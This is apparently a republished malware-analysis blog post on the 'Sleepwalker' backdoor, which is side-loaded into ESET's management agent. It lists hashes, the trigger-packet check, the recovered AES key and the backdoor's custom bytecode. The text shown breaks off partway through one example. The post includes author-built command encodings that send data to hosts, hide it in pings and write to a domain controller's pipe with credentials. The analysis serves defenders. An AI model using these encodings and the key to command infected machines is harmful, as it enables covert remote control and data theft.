SUNDAY, AUGUST 30, 2026|No. 13148
Cybersecurity · Malware

New 'Sleepwalker' Malware Discovered: A Stealthy Backdoor with a Custom Command Language

Researchers have identified a novel passive backdoor malware named 'Sleepwalker,' distinguished by its unique command language and ability to remain dormant until triggered by a specific network packet.

An abstract representation of network packets and dormant code.
An abstract representation of network packets and dormant code. · Photo by FlyD on Unsplash
1 sources
Pipeline ingest
3 reads
Positive / Neutral / Negative
0 countries
Related coverage

Losing access to VirusTotal Intelligence at the start of the year was surprisingly productive. Unable to hunt for interesting new malware, I stopped adding to my “TODO” pile and finally worked through my backlog from last year. That led to a detailed examination of BeheMOF as well as the discovery of this malware. Upon closer inspection, a sample that did not seem too noteworthy at first turned out to have a distinctive design once I looked under the hood: a passive backdoor that opens no obvious listening port and carries no payload inside itself. It waits in memory doing nothing at all until one specifically crafted network packet reaches the machine, which is why I am calling it SLEEPWALKER.

What makes it worth writing up is what that packet carries: not a readable command, but a short program written in a command language of the backdoor’s own design. Its 23 instructions cover scheduling, several ways to move data, staged file delivery and running code directly in memory. Recovering the encryption key is not enough to understand one of these programs. The internal command language must be reverse engineered as well. From a reverse-engineering perspective, SLEEPWALKER has a cool design. Still, the implementation has several weaknesses and is not top-notch malware engineering. This could be an early version, however. Newer and improved builds may exist.

This post covers what the file itself reveals, how SLEEPWALKER gets loaded, how it starts up, how it stays hidden on the network, how its commands are protected and how its internal command language works. That last part explains most of what the backdoor is actually capable of doing, so I spend some time on it. It closes with an IOC section and an appendix containing a YARA rule and a read-only scanner script.

Executive summary #

SLEEPWALKER is a passive backdoor with a command language of its own. It never contacts a fixed C2 address. Instead, it sniffs the network for a covert trigger packet. Only then does it wake up to decrypt and run an attacker-supplied task program. The program arrives as bytecode that only this file knows how to interpret, not as readable commands. The file carrying it is a 64-bit Windows DLL that impersonates Microsoft’s dpapi.dll and has a forged ESET Management Agent version resource. It is designed to be side-loaded into ERAAgent.exe, the Windows executable for ESET Management Agent. ESET describes the agent as an essential component of ESET PROTECT and ESET PROTECT On-Prem that connects managed endpoints and servers to the management platform and stores and enforces policies locally. SLEEPWALKER checks only the host process name, not its signature or path, and stays inactive unless that name is ERAAgent.exe.

The whole lifecycle of the backdoor:

SLEEPWALKER lifecycle from the loading into ERAAgent.exe to the execution of the decrypted command. Figure 1: The path from side-loading to execution: nothing runs until one matching packet arrives.

The configuration built into the file decrypts, with AES-256-CCM and a verified authentication tag, to a single bootstrap command: watch every network interface indefinitely for that trigger. On its own, the file does nothing except wait. The backdoor carries a compact bytecode interpreter with 23 instructions covering scheduling, staged payload delivery with SHA-256 verification and in-memory shellcode execution. Its network capabilities include TCP, UDP, ICMP, SMB named pipes with lateral movement using supplied credentials, VMware’s internal VMCI channel between a guest and its host and raw-socket promiscuous sniffing. A second trigger channel can also carry commands in DNS queries.

To facilitate unauthenticated named-pipe access, SLEEPWALKER actively weakens the host: it enables anonymous SMB access and creates named pipes with permissions granted to Everyone and Anonymous Logon. All encryption is provided by a statically linked copy of mbedTLS, an open-source cryptography library, rather than anything loaded at runtime.

This combination is what makes SLEEPWALKER hard to catch from the network side: there is nothing to block until the operator sends that one crafted packet, and it can arrive inside traffic that looks completely ordinary, including a crafted DNS query. A passive implant triggered this way, using multiple covert transports including VMCI and deployed through side-loading into a trusted ESET management component, is most likely part of a targeted attack that also includes other unidentified components. Since the code is unfamiliar to anything I’ve seen in the past, I cannot attribute this malware to any particular actor.

Key points

  • The file is unsigned, copies ESET’s file information and is loaded through DLL side-loading.
  • It checks only the host process name and activates when that name is ERAAgent.exe, the Windows executable for ESET Management Agent.
  • It does not contact any server on its own. It waits for one specific encrypted network packet before doing anything.
  • Once triggered, it runs programs written in a small custom command language, supporting scheduling, several network methods, staged file delivery and running code directly in memory.
  • The file itself contains no ready-made malicious payload. Everything beyond the single starting instruction has to arrive later, over the network.
  • It changes local Windows settings so that unauthenticated network connections can reach it.

File characteristics #

The sample is an unsigned 64-bit DLL for the Windows GUI subsystem. It is 59,904 bytes and has a compilation timestamp of 2024-06-10 09:18:27 UTC:

SHA-256: d347170752a28e2b8c4b8b9f3cab2e3a6541ba11682c94498d26eb9002779d60
SHA-1: 2ec8aa9661a33bccc002150ce1ed02d90c3986ff
MD5: 2318327b29bb1c0e2d2b5f0211fc7fac
Imphash: 4e2dbfa7e3efd4cca2f3662797df9735

To make the disguise, the file carries a version resource copied from ESET’s real Management Agent:

FieldValue
CompanyNameESET
ProductNameESET Management Agent
FileDescriptionESET Management Agent Module
InternalNameERAAgent
OriginalFilenamedpapi.dll
File / Product version11.2.2076.0
LegalCopyrightCopyright (c) ESET, spol. s r.o. 1992-2024.

The file exports the same name and the same seven functions as the real dpapi.dll: CryptProtectDataNoUI, CryptProtectMemory, CryptResetMachineCredentials, CryptUnprotectDataNoUI, CryptUnprotectMemory, CryptUpdateProtectedState and iCryptIdentifyProtection. Every one of them is a small stub that jumps through a pointer table, and that table starts out empty. The first time anything calls any of these seven functions, a shared resolver tries to load a file named dpapisvc.dll with LoadLibraryW, to find the real function inside it and write its address into the pointer table so the call can be forwarded.

That name does not belong to any genuine Windows component. No file called dpapisvc.dll ships with Windows. The closest real name is dpapisrv.dll, an unrelated file that exports only two LSA extension functions, nothing like the seven this code is looking for. A plain reference to dpapi.dll itself would not have worked either, since the malicious file already occupies that name inside the host process, and a bare LoadLibraryW call for it would just return a handle to itself rather than reaching the real one. Some other name or path was needed, but the one actually used matches nothing on a real system. When the load fails, the resolver exits the entire host process rather than failing that one call on its own. Whether this ever happens in practice depends on whether anything actually calls one of these seven specific functions, which this file alone cannot show. It is possible a fuller version of this attack drops a renamed copy of the real dpapi.dll under this same name alongside it, since a file in the application’s own folder would be found before Windows ever checks System32, the same search order this backdoor already relies on to get loaded in the first place. This file carries no such copy inside itself, though, and nothing here confirms one exists.

That same first call also quietly re-runs the backdoor’s own startup check, giving it a second chance to wake up if something interfered with the first one. The section on initialization below covers startup in full.

Initialization and startup sequence #

Before doing anything else, the DLL checks the name of the process that loaded it. If that process is not called ERAAgent.exe, the DLL stays inactive, so it will not run inside a debugger, a sandbox or any other program unless that program happens to carry that exact name. Once that check passes, a short sequence of steps brings the backdoor to life:

  1. It starts a new background thread, separate from ESET’s own code, so the agent process is not blocked while it runs.
  2. It reserves a 128 KB block of memory to be used later for assembling programs that arrive in several pieces.
  3. It decrypts the one instruction stored inside the file.
  4. It prepares Windows networking and hands the decrypted instruction to its own internal interpreter, described further down.

That interpreter is not used just once. When a trigger later delivers a follow-up program, over any of the transports described further down, the exact same interpreter function runs it. This is why the full command language, covering scheduling, staged file delivery and running code in memory, is available from the very first trigger onward, rather than needing to be built into some separate second-stage component.

As a fallback, the same check and sequence run again the first time anything calls one of the seven exported data protection functions, before that call is forwarded. This gives the backdoor two separate chances to start.

Two separate paths reach the same startup code:

  • Path 1: DLL loads into ERAAgent.exe (DllMain)
  • Path 2: first call to any of the 7 forwarded DPAPI exports

Both paths, independently:

  • Check the host process name
  • Run the same startup sequence: start a background thread, reserve the 128 KB buffer, decrypt the bootstrap instruction, start the interpreter

Nothing checks whether the other path already ran, which is the root of the duplicate-worker problem covered later in this post.

The ERAAgent.exe string used for that check is not stored as readable text. It is rebuilt from a handful of numbers while running, the same trick used for three function names the file never lists among its normal imports: VirtualProtect for running shellcode, SetSecurityDescriptorDacl for the permissive pipe permissions described later and CryptGenRandom for its random pauses.

On DLL_PROCESS_DETACH, the DLL sets a process-wide stop flag that is polled by its interpreter, sleep, scheduling and listener loops. This requests that they exit, but it does not guarantee a clean dynamic unload. The thread helper immediately closes each worker handle after CreateThread, and the detach path does not wait for the workers to finish. A worker can therefore still be executing when the DLL is unmapped. During process termination, Windows has already terminated the other threads, so this risk mainly applies when the DLL is unloaded dynamically.

No autonomous beaconing or fixed servers #

Most backdoors contact a server on the internet soon after they start so they can receive commands. SLEEPWALKER does not do this on its own. After confirming that its host process is named ERAAgent.exe, the embedded bootstrap makes no outbound connection. There are no domains, IP addresses or URLs built into the file.

This describes SLEEPWALKER’s own startup behavior, not all network activity from its host process. The legitimate ESET Management Agent normally checks in with ESET PROTECT according to its configured connection interval. ERAAgent.exe may therefore continue to produce legitimate ESET traffic while the backdoor remains dormant.

Instead, it puts the network card into a mode that lets it see every packet passing through, not just packets addressed to it. This is often called promiscuous mode. The backdoor then checks every packet it sees for a specific pattern: a calculated checksum, an encoded length value and a block of encrypted data. Only when a packet matches this pattern exactly does the backdoor decrypt the data inside and treat it as a command. This kind of trigger is often called a magic packet. Here is that check laid out step by step:

StepCheckIf it fails
1Packet is at least 48 bytes longIgnored
2XOR the packet’s last two 16-bit values together, then XOR the result with 0xAAAA, to get a candidate lengthN/A
3Candidate length falls inside a valid rangeIgnored
4The byte pair at position (packet length minus candidate length) equals the sum, not the XOR, of the same two trailing valuesIgnored
5The block the candidate length points to passes its own CRC-32 checkIgnored
6Decrypt with AES-256-CCM and treat the result as a commandN/A

A check failing at any step drops the packet with no response. Only a packet that clears every step in order is treated as a command.

All of this runs against the raw contents of a packet, before Windows has even sorted out whether it is a TCP, UDP or other kind of packet. Because the check happens at that level, the trigger can travel inside almost any kind of IP traffic rather than one specific protocol.

The backdoor watches at most eight network interfaces at once, skipping the loopback interface and any address a computer assigns to itself when it cannot reach a network. After a successful trigger, it also waits at least three seconds before accepting another one, mainly so it does not act on the same packet twice rather than to block repeated attempts outright.

Because the backdoor never sends anything out on its own and does not open any obvious listening port by default, tools that watch for connections to known-bad domains or unusual outbound traffic will not see anything unusual. The only moment it becomes visible on the network is when the operator sends the trigger packet. The absence of outbound connections to known-bad infrastructure does not rule out an infection, either. A machine can be fully compromised by this backdoor while producing nothing at all for a network monitor to flag.

The configuration built into the file itself contains only one instruction: listen on every network interface, with no time limit, for a matching packet. Every other action the backdoor can take arrives later, over the network, already encrypted.

Command authentication and encryption #

Before going through each piece, here is the shape of the whole pipeline a command travels through, from the moment it arrives to the moment it runs:

Trigger packet or DNS query
 -> Framing and checksum check
 -> AES-256-CCM decrypt
 -> Bytecode interpreter
 -> Command handler

Every command sent to the backdoor is encrypted using AES-256-CCM. This is a standard method of encryption that does two things at once: it hides the content of a message and proves the message was not changed after it was created. Commands sent through most of the backdoor’s channels use the same layout: a 12-byte value that changes every time, called a nonce, followed by a 16-byte check value, followed by the encrypted data itself. The hidden trigger sent inside DNS lookups uses a shorter version of the same layout, since there is less room to work with inside a DNS name.

On top of that encryption, the raw trigger packet described earlier carries its own separate checksum, calculated with CRC-32. This checksum has nothing to do with the encryption itself. It exists so the backdoor can reject a packet that does not match the expected pattern before spending any effort trying to decrypt it.

The encryption key is stored directly inside the DLL, and I recovered it during analysis, along with the nonce used for the embedded configuration specifically:

AES-256 key: 0x746531ff378dbb4bb51d2aa2b1d38d905350a959583186baf4c690f5f316b3ae
Config nonce: 0x3a6d357fb9bc51eacc8b8509

With this key and nonce, the 2,048-byte encrypted configuration built into the file decrypts cleanly and its authentication tag checks out, confirming both are correct.

Randomness, such as the jittered pause described later, comes from Windows’ own CryptGenRandom function, which the file resolves by name at runtime rather than importing normally.

The following table summarizes what SLEEPWALKER encrypts or encodes, how each type of content is protected and whether it enters, leaves or remains within the backdoor.

ContentDirectionEncoding or encryptionExplanation
Task programs delivered through the raw trigger, TCP, UDP, named pipes or VMCIInto SLEEPWALKERAES-256-CCMThe command bytecode is encrypted and authenticated before interpretation. The nonce and authentication tag remain visible by design.
Task programs carried in DNS labelsInto SLEEPWALKER (the DNS query itself may enter or leave the host)Base32 over AES-256-CCMBase32 makes the encrypted envelope suitable for DNS labels. Decoding Base32 reveals the AES envelope, not the plaintext command.
Task programs loaded from a file by RUN_FILE_SCRIPTLocalAES-256-CCMThe file contains an encrypted task envelope that is decrypted before interpretation.
Nested programs used by CRON_SCHEDULEInternalAES-256-CCM, then XOR in memoryThe program arrives inside the encrypted task, then remains XOR-obfuscated between scheduled executions.
Data transmitted by TCP_SEND, UDP_SEND, ICMP_SEND or PIPE_SENDOut of SLEEPWALKERNo automatic encryptionThe instruction arrives encrypted, but the data it tells SLEEPWALKER to send is transmitted as supplied by the operator.
Network headers, trigger framing, CRC checksums, DNS markers, AES nonce and authentication tagAccompanies task deliveryVisible metadataThese fields allow transport, recognition or validation. They do not expose the plaintext command bytecode.

Bytecode format #

Once decrypted, a command is not text or a document. It is a short sequence of raw bytes that only makes sense when read in a specific order. Seeing that order laid out helps explain both how compact these commands can be and how the instruction table further down was put together.

That design puts this backdoor a step beyond most others. The simplest ones send their commands as plain text and numbers, which anyone reading the file or watching the traffic can follow directly and which detection tools can match on without much work. More advanced ones encrypt that same plain text and numbers, but that protection ends the moment someone recovers the key. This one encrypts its commands and then puts a second barrier behind the first. Decrypting the data with the recovered key does not produce a readable command or a settings list. It produces a stream of opcodes, for the most part, in a format that exists nowhere but inside this one file, and it stays unreadable until that format has been worked out on its own. The key shows how to read the bytes. Only reversing the command language shows what they mean, which is what the rest of this section and the instruction table below set out.

Every instruction begins with a single byte that identifies which of the 23 kinds it is. What follows depends entirely on that first byte. A fixed-size number, such as a wait time, is written using a set number of bytes, most significant byte first. A piece of text or a block of data, which can be any length, is written as a small count of how many bytes follow, then the bytes themselves, so a reader always knows exactly where that piece ends and the next one begins.

Take the one instruction that was actually found stored inside the analyzed file. In full, it is five bytes:

87 01 2A 00 00

Read from left to right, 87 is the opcode, identifying the instruction that watches the network for a hidden trigger. 01 is a length count, saying the next field is one byte long. 2A is that one byte, the character code for an asterisk, meaning every interface. 00 00 is a two-byte number read most significant byte first. It specifies how many seconds to keep watching, and zero means no limit. Broken down this way, the five bytes form a small tree:

Command = SNIFF_MAGIC_PACKET (0x87)
├── interface_filter
│ ├── length = 01 (1 byte follows)
│ └── data = "*" (0x2A)
└── deadline_seconds = 0 (0x0000)

Five bytes fully describe the instruction “watch every interface forever.” This is also the entire useful content of the file’s built-in configuration. Blocks of raw data, such as network payloads or shellcode, are written the same way as text: a count followed by that many bytes. Only the meaning assigned to them differs.

The length count itself is written compactly, so small numbers take one byte while larger ones take more. Each byte holds seven bits of the actual number, plus one bit saying whether another byte follows. As a general rule, a length of 1, like the single character *, fits in the one byte 01. A length of 200 does not fit in seven bits alone and needs two bytes instead, C8 01.

Some instructions carry more than numbers or plain text. A handful of them carry an entire second program as one of their fields, and the same reading process applies to that inner program once its turn comes. The scheduled instruction is a clear example. In full, it is 22 bytes:

0E 00 00 00 00 00 00 00 01 00 00 02 00 FF FF FF FE 3E 03 9D FD C1

The single opcode byte is followed by four fixed-size numbers marking which minutes, hours, days and weekdays the schedule matches. After those, 03 is a length count, the same kind seen earlier, saying the inner program that follows is 3 bytes long, and 9D FD C1 is that block of bytes. Broken down, the pieces form a tree with a smaller tree inside it:

Command = CRON_SCHEDULE (0x0E)
├── minute_bitmask = minute 0 (0x0000000000000001)
├── hour_bitmask = hour 9 (0x00000200)
├── day_of_month_bitmask = any day (0xFFFFFFFE)
├── weekday_bitmask = Monday to Friday (0x3E)
└── xor_masked_script
 ├── length = 03 (3 bytes follow)
 └── data = 9D FD C1
 └── XORed with the recovered key 0x90FDFD02, this becomes:
 Command = SLEEP_RANDOM_SECONDS (0x0D)
 └── modulus_seconds = 60 (0x003C)

The three encrypted bytes only make sense once XORed with a short repeating key. Undone, they turn back into a complete second instruction: wait a random number of seconds, up to 60. This is what it means for one instruction to contain another. The outer instruction is fully described by its own bytes, and one of its fields is a smaller program in disguise, read the same way once its turn comes.

The decryption is deliberately temporary. The code XORs the nested-program buffer with the key, hands the plaintext to the interpreter and then applies the same XOR again to restore the encrypted bytes. In effect: decrypt, run, re-encrypt. The nested program remains XOR-protected while waiting between scheduled runs and is readable only during execution. This inner XOR layer is unique to CRON_SCHEDULE. The scheduled instruction itself is still delivered inside the AES-256-CCM envelope used for task programs.

Command language reference #

Everything the backdoor does after the initial trigger is controlled by the instructions just described. There are 23 of them in total, and a few carry an inner program the way the scheduled instruction does above. This is what lets the backdoor combine a short list of instruction types into many different behaviors: a schedule can contain a network listener, which can contain a routine that waits for a file to be assembled and checked before it is allowed to run, and so on.

The table below lists every one of the 23 instructions, grouped by purpose, with a plain-English description, its parameters and each parameter’s actual wire type. string and blob are both length-prefixed and represent text and raw bytes, respectively. u8, u16, u32 and u64 are fixed-width big-endian integers of 1, 2, 4 and 8 bytes, carrying no length prefix at all. lzma_properties is a fixed 5-byte structure, also with no length prefix. A worked example follows the table for each one, showing the actual bytes of a working instruction next to the tree it decodes into.

InstructionWhat it doesParameters
Basic control
EXITSets the process-wide stop flag rather than ending one program. Every loop in the file checks that flag, so this halts all running programs and the packet listener with them.None
SPAWN_THREAD_SCRIPTStarts a second, smaller program running at the same time as the current one, in its own thread, so the first program can keep going.Nested program to run (blob)
Timing and scheduling
SLEEP_SECONDSPauses for a fixed number of seconds before moving on to the next instruction.Duration, in seconds (u16)
SLEEP_RANDOM_SECONDSPauses for a random number of seconds up to a chosen limit, adding jitter so repeated actions are not perfectly predictable.Upper limit, in seconds (u16)
CRON_SCHEDULEChecks the current minute, hour, day of month and weekday against four stored patterns and runs an inner program whenever all four match.Minute mask (u64), hour mask (u32), day of month mask (u32), weekday mask (u8), nested program, encrypted (blob)
REPEAT_NRuns a smaller program a fixed number of times in a row.Repeat count (u16), nested program (blob)
LOOP_FOREVERRuns a smaller program over and over, without a limit, until the backdoor is told to stop entirely.Nested program (blob)
Sending data
TCP_SENDOpens a TCP connection to a chosen address and port, sends a block of data and does not wait for a reply. The remote host can also be a VMware VMCI target instead of a normal network address.Local address (string), local port (string), remote host (string), remote port (string), data (blob), deadline (u16)
UDP_SENDSends a single block of data over UDP to a chosen address and port, without waiting for a reply. The remote host can also be a VMware VMCI target instead of a normal network address.Local address (string), local port (string), remote host (string), remote port (string), data (blob), deadline (u16)
ICMP_SENDHides a block of data inside a ping request and sends it to a target address.Source address (string), remote host (string), data (blob), deadline (u16)
PIPE_SENDWrites a block of data to a Windows named pipe on a chosen computer, optionally logging in with a username and password first.Server name (string), pipe name (string), username (string), password (string), data (blob), deadline (u16)
Inbound task reception
TCP_CONNECT_RECVConnects out to a chosen address and port and waits to receive a follow-up program. The infected machine reaches out, rather than waiting to be reached. The remote host can also be a VMware VMCI target instead of a normal network address.Local address (string), local port (string), remote host (string), remote port (string), deadline (u16)
TCP_LISTEN_RECVOpens a TCP port, waits for one connection and receives a follow-up program from whoever connects. The bind address can also be a VMware VMCI target instead of a normal network address.Bind address (string), bind port (string), deadline (u16)
UDP_BIND_RECVOpens a UDP port and waits for a single incoming block of data, treated as a follow-up program. The bind address can also be a VMware VMCI target instead of a normal network address.Bind address (string), bind port (string), deadline (u16)
PIPE_CLIENT_RECVConnects to a named pipe on a chosen computer and waits to receive a follow-up program, optionally using a username and password.Server name (string), pipe name (string), username (string), password (string), deadline (u16)
PIPE_SERVER_RECVCreates a local named pipe, waits for a connection and receives a follow-up program from whoever connects.Pipe name (string), unused field (string), deadline (u16)
Building and running programs
STAGE_WRITECopies a piece of a larger program into a shared 128 KB work area in memory, at a chosen position, so a program can be assembled a little at a time.Offset (u32), chunk of data (blob)
STAGE_VERIFY_EXECCompares a SHA-256 fingerprint of the pieces collected so far against one supplied with the instruction and only runs the assembled program on an exact match.Length (u32), SHA-256 fingerprint (blob)
DECOMPRESS_RUNExpands a program that was compressed before being sent back to its original size, then runs the result.Unpacked size (u32), compression settings (lzma_properties), compressed data (blob)
RUN_SHELLCODERuns a block of raw machine code directly in memory, switching that memory from writable to executable right before calling it.Machine code (blob)
RUN_FILE_SCRIPTReads a file already saved on the local disk, decrypts it the same way as any other command and runs the result.File path (string)
Trigger detection
SNIFF_MAGIC_PACKETWatches one or all network interfaces for the hidden trigger packet described earlier, for a chosen length of time or with no limit at all. This is the instruction actually stored in the analyzed file.Interface (string), deadline (u16)
SNIFF_MAGIC_PACKET_DNSDoes everything the instruction above does and also watches for the DNS-based trigger described further down. Not the instruction found in the analyzed file.Interface (string), deadline (u16)

Every instruction from the table breaks down the same way the earlier walkthroughs did. The sections below follow the same grouping as the table, each one naming the instruction and its opcode byte, showing the actual bytes of a working example, describing what that example demonstrates, then showing the tree those bytes decode into.

Basic control #

EXIT (0x06)

Example: 06

Shut the backdoor down.

Command = EXIT (0x06)

A single byte and nothing else. There is no operand to decode. It sets the same shared flag used by the DLL’s unload path. Every loop in the file checks that flag, so an EXIT instruction anywhere stops all of them rather than only the program in which it appears.

SPAWN_THREAD_SCRIPT (0x0B)

Example: 0B 05 87 01 2A 00 00

Run a background copy of the trigger listener while other work continues.

Command = SPAWN_THREAD_SCRIPT (0x0B)
└── script
 ├── length = 05 (5 bytes follow)
 └── data = 87 01 2A 00 00
 └── nested program:
 Command = SNIFF_MAGIC_PACKET (0x87)
 ├── interface_filter
 │ ├── length = 01 (1 byte follows)
 │ └── data = "*" (0x2A)
 └── deadline_seconds = 0 (0x0000)

Timing and scheduling #

SLEEP_SECONDS (0x0C)

Example: 0C 00 3C

Wait 60 seconds, then continue.

Command = SLEEP_SECONDS (0x0C)
└── duration_seconds = 60 (0x003C)

SLEEP_RANDOM_SECONDS (0x0D)

Example: 0D 01 2C

Wait somewhere between 0 and 299 seconds, then continue.

Command = SLEEP_RANDOM_SECONDS (0x0D)
└── modulus_seconds = 300 (0x012C)

CRON_SCHEDULE (0x0E)

Example: 0E 00 00 00 00 00 00 00 01 00 00 02 00 FF FF FF FE 3E 03 9D FD C1

Run every weekday at 09:00, then pause for a random interval.

Command = CRON_SCHEDULE (0x0E)
├── minute_bitmask = minute 0 (0x0000000000000001)
├── hour_bitmask = hour 9 (0x00000200)
├── day_of_month_bitmask = any day (0xFFFFFFFE)
├── weekday_bitmask = Monday to Friday (0x3E)
└── xor_masked_script
 ├── length = 03 (3 bytes follow)
 └── data = 9D FD C1
 └── XORed with the recovered key 0x90FDFD02, this becomes:
 Command = SLEEP_RANDOM_SECONDS (0x0D)
 └── modulus_seconds = 60 (0x003C)

The scheduled instruction was covered in full detail earlier in this section, including the length byte and the re-encryption step after it runs. This tree is repeated here only so it lines up with its row in the table.

REPEAT_N (0x0F)

Example: 0F 00 03 03 0C 00 0A

Run a 10-second pause three times in a row.

Command = REPEAT_N (0x0F)
├── repeat_count = 3 (0x0003)
└── script
 ├── length = 03 (3 bytes follow)
 └── data = 0C 00 0A
 └── nested program:
 Command = SLEEP_SECONDS (0x0C)
 └── duration_seconds = 10 (0x000A)

LOOP_FOREVER (0x10)

Example: 10 03 0C 00 3C

Repeat a 60-second pause without end.

Command = LOOP_FOREVER (0x10)
└── script
 ├── length = 03 (3 bytes follow)
 └── data = 0C 00 3C
 └── nested program:
 Command = SLEEP_SECONDS (0x0C)
 └── duration_seconds = 60 (0x003C)

Sending data #

TCP_SEND (0x29)

Example: 29 01 2A 01 2A 0C 31 39 32 2E 31 36 38 2E 31 2E 31 30 03 34 34 33 03 69 64 0A 00 00

Send a short line of text to 192.168.1.10 on port 443.

Command = TCP_SEND (0x29)
├── local_bind_address
│ ├── length = 01 (1 byte follows)
│ └── data = "*" (0x2A)
├── local_bind_port
│ ├── length = 01 (1 byte follows)
│ └── data = "*" (0x2A)
├── remote_host
│ ├── length = 0C (12 bytes follow)
│ └── data = "192.168.1.10" (31 39 32 2E 31 36 38 2E 31 2E 31 30)
├── remote_port
│ ├── length = 03 (3 bytes follow)
│ └── data = "443" (34 34 33)
├── payload
│ ├── length = 03 (3 bytes follow)
│ └── data = "id\n" (69 64 0A)
└── deadline_seconds = 0 (0x0000)

The two "*" fields are the wildcard seen earlier: no specific local address or port is requested, so the operating system picks one automatically.

UDP_SEND (0x2A)

Example: 2A 01 2A 01 2A 08 31 30 2E 30 2E 30 2E 39 02 35 33 04 70 69 6E 67 00 00

Send the word “ping” to 10.0.0.9 on port 53.

Command = UDP_SEND (0x2A)
├── local_bind_address
│ ├── length = 01 (1 byte follows)
│ └── data = "*" (0x2A)
├── local_bind_port
│ ├── length = 01 (1 byte follows)
│ └── data = "*" (0x2A)
├── remote_host
│ ├── length = 08 (8 bytes follow)
│ └── data = "10.0.0.9" (31 30 2E 30 2E 30 2E 39)
├── remote_port
│ ├── length = 02 (2 bytes follow)
│ └── data = "53" (35 33)
├── payload
│ ├── length = 04 (4 bytes follow)
│ └── data = "ping" (70 69 6E 67)
└── deadline_seconds = 0 (0x0000)

ICMP_SEND (0x2B)

Example: 2B 01 2A 07 38 2E 38 2E 38 2E 38 04 CA FE BA BE 00 00

Send four bytes of data disguised as a ping to 8.8.8.8.

Command = ICMP_SEND (0x2B)
├── source_address
│ ├── length = 01 (1 byte follows)
│ └── data = "*" (0x2A)
├── remote_host
│ ├── length = 07 (7 bytes follow)
│ └── data = "8.8.8.8" (38 2E 38 2E 38 2E 38)
├── payload
│ ├── length = 04 (4 bytes follow)
│ └── data = CA FE BA BE
└── deadline_seconds = 0 (0x0000)

PIPE_SEND (0x2C)

Example: 2C 04 44 43 30 31 07 73 70 6F 6F 6C 73 73 08 43 4F 52 50 5C 73 76 63 05 50 40 73 73 31 06 62 65 61 63 6F 6E 00 00

Write the word “beacon” to the spoolss pipe on a server named DC01, logging in as CORP\[email protected] first.

Command = PIPE_SEND (0x2C)
├── server_name
│ ├── length = 04 (4 bytes follow)
│ └── data = "DC01" (44 43 30 31)
├── pipe_name
│ ├── length = 07 (7 bytes follow)
│ └── data = "spoolss" (73 70 6F 6F 6C 73 73)
├── username
│ ├── length = 08 (8 bytes follow)
│ └── data = "CORP\\svc" (43 4F 52 50 5C 73 76 63)
├── password
│ ├── length = 05 (5 bytes follow)
│ └── data = "P@ss1" (50 40 73 73 31)
├── payload
│ ├── length = 06 (6 bytes follow)
│ └── data = "beacon" (62 65 61 63 6F 6E)
└── deadline_seconds = 0 (0x0000)

Inbound task reception #

TCP_CONNECT_RECV (0x6F)

Example: 6F 01 2A 01 2A 04 76 6D 3A 32 04 39 30 30 30 00 3C

Connect out through VMware’s VMCI channel to context ID 2, the conventional host endpoint, on port 9000 instead of using a normal network address.

Command = TCP_CONNECT_RECV (0x6F)
├── local_bind_address
│ ├── length = 01 (1 byte follows)
│ └── data = "*" (0x2A)
├── local_bind_port
│ ├── length = 01 (1 byte follows)
│ └── data = "*" (0x2A)
├── remote_host
│ ├── length = 04 (4 bytes follow)
│ └── data = "vm:2" (76 6D 3A 32)
├── remote_port
│ ├── length = 04 (4 bytes follow)
│ └── data = "9000" (39 30 30 30)
└── deadline_seconds = 60 (0x003C)

The host field here is not an IP address. The vm: prefix selects VMware’s VMCI channel, and the decimal value after it is parsed as the destination context ID (svm_cid). The separate port string becomes the VMCI port (svm_port). In this example, CID 2 denotes the VMware host, not a virtual machine numbered 2.

TCP_LISTEN_RECV (0x70)

Example: 70 07 30 2E 30 2E 30 2E 30 04 38 34 34 33 00 00

Listen on port 8443 on any local address.

Command = TCP_LISTEN_RECV (0x70)
├── bind_address
│ ├── length = 07 (7 bytes follow)
│ └── data = "0.0.0.0" (30 2E 30 2E 30 2E 30)
├── bind_port
│ ├── length = 04 (4 bytes follow)
│ └── data = "8443" (38 34 34 33)
└── deadline_seconds = 0 (0x0000)

UDP_BIND_RECV (0x73)

Example: 73 07 30 2E 30 2E 30 2E 30 04 35 33 35 33 00 00

Listen on port 5353 on any local address.

Command = UDP_BIND_RECV (0x73)
├── bind_address
│ ├── length = 07 (7 bytes follow)
│ └── data = "0.0.0.0" (30 2E 30 2E 30 2E 30)
├── bind_port
│ ├── length = 04 (4 bytes follow)
│ └── data = "5353" (35 33 35 33)
└── deadline_seconds = 0 (0x0000)

PIPE_CLIENT_RECV (0x7D)

Example: 7D 04 57 4B 53 37 04 6D 6F 6A 6F 00 00 00 1E

Connect to a pipe named mojo on a workstation called WKS7, using the current login.

Command = PIPE_CLIENT_RECV (0x7D)
├── server_name
│ ├── length = 04 (4 bytes follow)
│ └── data = "WKS7" (57 4B 53 37)
├── pipe_name
│ ├── length = 04 (4 bytes follow)
│ └── data = "mojo" (6D 6F 6A 6F)
├── username
│ ├── length = 00 (0 bytes follow)
│ └── data = "" (0 bytes)
├── password
│ ├── length = 00 (0 bytes follow)
│ └── data = "" (0 bytes)
└── deadline_seconds = 30 (0x001E)

The empty username and password fields are still present on the wire as zero-length strings rather than being left out. This is what connecting with the currently logged-in account looks like.

PIPE_SERVER_RECV (0x7E)

Example: 7E 09 6D 6F 6A 6F 5F 70 69 70 65 00 00 00

Wait for a connection on a locally created pipe named mojo_pipe.

Command = PIPE_SERVER_RECV (0x7E)
├── pipe_name
│ ├── length = 09 (9 bytes follow)
│ └── data = "mojo_pipe" (6D 6F 6A 6F 5F 70 69 70 65)
├── reserved (unused)
│ ├── length = 00 (0 bytes follow)
│ └── data = "" (0 bytes)
└── deadline_seconds = 0 (0x0000)

Building and running programs #

STAGE_WRITE (0x32)

Example: 32 00 00 00 00 06 65 04 48 31 C0 C3

Write six bytes to the very start of the work area. On its own this instruction does nothing else: it only fills the buffer, and something else has to check and run the contents afterward. The six bytes chosen here are a complete instruction in their own right, the RUN_SHELLCODE example shown further down.

Command = STAGE_WRITE (0x32)
├── buffer_offset = 0 (0x00000000)
└── chunk_data
 ├── length = 06 (6 bytes follow)
 └── data = 65 04 48 31 C0 C3

The offset travels with the instruction, so chunks do not have to arrive in order and can fill the work area in any pattern. Before copying, the code checks the offset against the size of that area, then checks the offset and the chunk length together in a way that also catches the numeric wraparound a careless check would miss. Nothing is verified or run at this point, and the area keeps whatever it already held anywhere the new chunk does not cover.

STAGE_VERIFY_EXEC (0x33)

Example: 33 00 00 00 06 20 A0 A0 D4 5F 4B C3 12 59 D6 89 57 96 65 95 54 1F 60 24 C3 D5 F1 BB 36 81 C0 A2 7E 2C DE D5 68 C1

